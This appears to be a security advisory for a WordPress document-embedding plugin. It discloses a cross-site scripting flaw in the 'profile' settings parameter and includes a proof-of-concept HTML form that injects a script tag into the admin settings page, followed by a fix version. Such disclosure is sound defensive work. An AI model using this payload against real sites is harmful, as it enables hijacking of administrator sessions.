## Description: 
==========================================================
Lets you embed PDF, MS Office, and many other file types in a web page using the free Google Docs Viewer (no Flash or PDF browser plug-ins required). 


## XSS:
==========================================================
By tricking a logged in admin into visiting a crafted page, it is possible to perform an XSS attack through the 'profile' parameter.

PoC:
Log in as admin and submit this form:
<form method="POST" action="http://[URL]/wp-admin/options-general.php?page=gde-settings"> 
  <text>action: </text>
   <input type="text" name="action" value="edit" READONLY><br />
   <text>profile: </text>
  <input type="text" name="profile" value=""><script>alert(1);</script>"><br />
  <input type="submit">
</form>


## Solution
==========================================================
Update to version 2.5.19.
